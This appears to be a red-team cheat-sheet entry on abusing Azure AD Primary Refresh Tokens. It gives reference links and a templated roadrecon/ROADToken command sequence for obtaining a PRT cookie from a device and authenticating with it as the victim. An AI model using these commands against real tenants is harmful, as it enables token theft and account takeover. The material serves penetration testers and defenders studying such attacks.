PRT Abuse

Primary Refresh Tokens

• https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/

• https://aadinternals.com/post/prt/

• https://posts.specterops.io/an-operators-guide-to-device-joined-hosts-and-the-prt-cookie-bcd0db2812c4

$ roadrecon auth --prt-init
Cmd > ROADToken.exe <NONCE>
$ [proxychains] roadrecon auth [-d megacorp.db] --prt-cookie <COOKIE> [-ua '<USER_AGENT>']

Tools

• https://github.com/dirkjanm/ROADtoken

• https://github.com/leechristensen/RequestAADRefreshToken/